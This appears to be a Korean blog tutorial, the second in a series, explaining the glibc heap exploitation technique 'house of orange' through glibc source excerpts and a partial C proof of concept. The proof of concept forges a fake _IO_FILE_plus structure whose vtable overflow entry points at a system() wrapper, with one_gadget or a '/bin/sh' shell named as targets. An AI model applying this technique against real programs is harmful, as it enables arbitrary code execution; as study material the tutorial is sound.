Profile

youngsouk

youngsouk

house_of_orange (2)

2019/09/01 - [힙(heap)/house_of_orange] - house_of_orange (1)

 

house_of_orange (1)

house of orange의 핵심은 1. 먼저 top chunk의 크기를 본래 크기보다 속여서 크기가 크고 free된 청크를 만들어냅니다. 2. 그리고 가짜 _IO_FILE_PLUS와 _IO_wide_data 구조체를 만듭니다. 3. _IO_list_all을 가..

youngsouk-hack.tistory.com

2편은 1편을 보시면 더 잘 이해가 되실겁니다. 일단 저희가 1편에서 예전의 top chunk free시킴으로서 free된 크기가 큰 청크를 얻었습니다. 이번에는 1편에서 말한 가짜 구조체를 만들어야하는 이유에 대해서 알아볼 것입니다.

먼저 malloc_printerr의 소스코드를 봐야합니다.

static void
malloc_printerr (const char *str)
{
  __libc_message (do_abort, "%s\n", str);
  __builtin_unreachable ();
}

저기서 __libc_message를 호출하게 되는데 이 소스코드를 보게 되면

/* Abort with an error message.  */
void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;
  va_start (ap, fmt);
#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif
  /* Don't call __libc_secure_getenv if we aren't doing backtrace, which
     may access the corrupted stack.  */
  if ((action & do_backtrace))
    {
      /* Open a descriptor for /dev/tty unless the user explicitly
         requests errors on standard error.  */
      const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
      if (on_2 == NULL || *on_2 == '\0')
        fd = __open_nocancel (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
    }
  if (fd == -1)
    fd = STDERR_FILENO;
  struct str_list *list = NULL;
  int nlist = 0;
  const char *cp = fmt;
  while (*cp != '\0')
    {
      /* Find the next "%s" or the end of the string.  */
      const char *next = cp;
      while (next[0] != '%' || next[1] != 's')
        {
          next = __strchrnul (next + 1, '%');
          if (next[0] == '\0')
            break;
        }
      /* Determine what to print.  */
      const char *str;
      size_t len;
      if (cp[0] == '%' && cp[1] == 's')
        {
          str = va_arg (ap, const char *);
          len = strlen (str);
          cp += 2;
        }
      else
        {
          str = cp;
          len = next - cp;
          cp = next;
        }
      struct str_list *newp = alloca (sizeof (struct str_list));
      newp->str = str;
      newp->len = len;
      newp->next = list;
      list = newp;
      ++nlist;
    }
  bool written = false;
  if (nlist > 0)
    {
      struct iovec *iov = alloca (nlist * sizeof (struct iovec));
      ssize_t total = 0;
      for (int cnt = nlist - 1; cnt >= 0; --cnt)
        {
          iov[cnt].iov_base = (char *) list->str;
          iov[cnt].iov_len = list->len;
          total += list->len;
          list = list->next;
        }
      written = WRITEV_FOR_FATAL (fd, iov, nlist, total);
      if ((action & do_abort))
        {
          total = ((total + 1 + GLRO(dl_pagesize) - 1)
                   & ~(GLRO(dl_pagesize) - 1));
          struct abort_msg_s *buf = __mmap (NULL, total,
                                            PROT_READ | PROT_WRITE,
                                            MAP_ANON | MAP_PRIVATE, -1, 0);
          if (__glibc_likely (buf != MAP_FAILED))
            {
              buf->size = total;
              char *wp = buf->msg;
              for (int cnt = 0; cnt < nlist; ++cnt)
                wp = mempcpy (wp, iov[cnt].iov_base, iov[cnt].iov_len);
              *wp = '\0';
              /* We have to free the old buffer since the application might
                 catch the SIGABRT signal.  */
              struct abort_msg_s *old = atomic_exchange_acq (&__abort_msg,
                                                             buf);
              if (old != NULL)
                __munmap (old, old->size);
            }
        }
    }
  va_end (ap);
  if ((action & do_abort))
    {
      if ((action & do_backtrace))
        BEFORE_ABORT (do_abort, written, fd);
      /* Kill the application.  */
      abort ();
    }
}

위에 있는 부분에서는 출력할 내용을 str_list라는 구조체에 넣는 내용입니다. 그 다음에는 abort()를 호출하게됩니다. 그런데 abort의 예전 소스코드를 보면 _IO_flush_all_lockp()을 호출하게되는 것을 볼 수 있습니다. 왜 현재 소스코드가 아니라 예전 소스코드를 봐야되는 이유는 현재에는 abort.c 코드가 수정이되면서 더 이상 _IO_flush_all_lockp()을 호출하지 않게 되었기때문입니다.

 

여기서 소스코드와 그에 대한 내용을 보실 수 있습니다.

https://github.com/shellphish/how2heap/issues/69

 

house_of_orange broken · Issue #69 · shellphish/how2heap

The exploit chain of the house_of_orange might be broken, due to changes in stdlib/abort.c Commit 91e7cf982d0104f0e71770f5ae8e3faf352dea9f Before: #define fflush(s) _IO_flush_all_lockp (0) ... /* F...

github.com

즉 정리하자면 이런식으로 _IO_flush_all_lockp()이 호출되게 되는겁니다.

이제 house_of_orange의 핵심이라고 할 수 있는 _IO_flush_all_lockp()의 소스코드를 봐보겠습니다.

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

이렇게 되있습니다. 이 소스코드를 이해하려면 _IO_FILE_PLUS구조체를 이해해야 합니다. 왜냐하면

extern struct _IO_FILE_plus *_IO_list_all;

이런식으로 선언돼어있기때문입니다.

 

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
 
  /* 뒤에 나오는 포인터드들은 C++의 streambuf 규약에 대응한다. */
  /* Note:  Tk는 _IO_read_ptr와 _IO_read_end 값을 바로 사용한다. */
  char* _IO_read_ptr;   /* 현재 읽기 포인터 */
  char* _IO_read_end;   /* 읽을 영역의 끝. */
  char* _IO_read_base;  /* 읽을 영역의 처음. */
  char* _IO_write_base; /* 출력할 영역의 시작부분. */
  char* _IO_write_ptr;  /* 현재 출력 포인터. */
  char* _IO_write_end;  /* 출력 영역의 끝부분. */
  char* _IO_buf_base;   /* 예약된 영역의 처음 */
  char* _IO_buf_end;    /* 예약된 영역의 끝. */
  /* 뒤에 오는 값들은 백업과 되돌리기를 위해 사용된다. */
  char *_IO_save_base; /* 현재가 아닌 읽을 영역의 포인터 */
  char *_IO_backup_base;  /* 백업 영역의 첫번째 유효한 문자의 포인터 */
  char *_IO_save_end; /* 현재가 아닌 읽을 영역의 끝 */
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* 이것은 오프셋으로 쓰이지만 너무 작다. */
 
#define __HAVE_COLUMN /* 임시 */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
 
  /*  char* _save_gptr;  char* _save_egptr; */
 
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* 우리가 문제에 직면하지 않게 확실히 한다.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

이 구조체를 정리해보자면 이렇게 됩니다.

여기서 주목해야 할점은 _IO_OVERFLOW부분입니다. 이 함수는 vtable안에 있는 _IO_OVERFLOW함수를 호출하는 것입니다. 그러기 위해서는 아래의 조건문을 통과하도록 fp구조체의 값을 만족하도록 잘 조정해주어야합니다.

(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

그래서 조정한 뒤 이 _IO_OVERFLOW의 부분을 one_gadget으로 덮어주거나 _IO_OVERFLOW함수는 fp를 인자로 취하기 때문에 system으로 덮고 /bin/sh를 인자로 줄 수도 있습니다. 그래서 이렇게 가짜 구조체를 작성할 수 있습니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void sys(char* ptr){
        system(ptr);
}

int main(){
        printf("%d\n",sizeof(_IO_FILE));
        char *p1_chunk = malloc(8) - 2 * 8;
        size_t*  top = (size_t*) (p1_chunk + 32);
        top[1] = 0xfe1;

        malloc(0x1000);

        // fake _IO_FILE_PLUS 
        _IO_FILE *fp = (_IO_FILE *) top;

        fp->_mode = 0; // top +0xc0
        fp->_IO_write_base = (char*)1; // top+0x20
        fp->_IO_write_ptr =  (char*)2; // top+0x28

        *(size_t *) ((fp + sizeof(_IO_FILE))) = &top[5];// vtable : &top[12]
        top[8] =(size_t *) &sys; // write _IO_OVERFLOW()
        //////////////////////

}

 

이번에는 가짜 구조체를 작성해야하는 이유와 방법에 대해 알아보았는데 다음에는 이 가짜 구조체를 어떻게 이용할 것인지에 대해 써보겠습니다.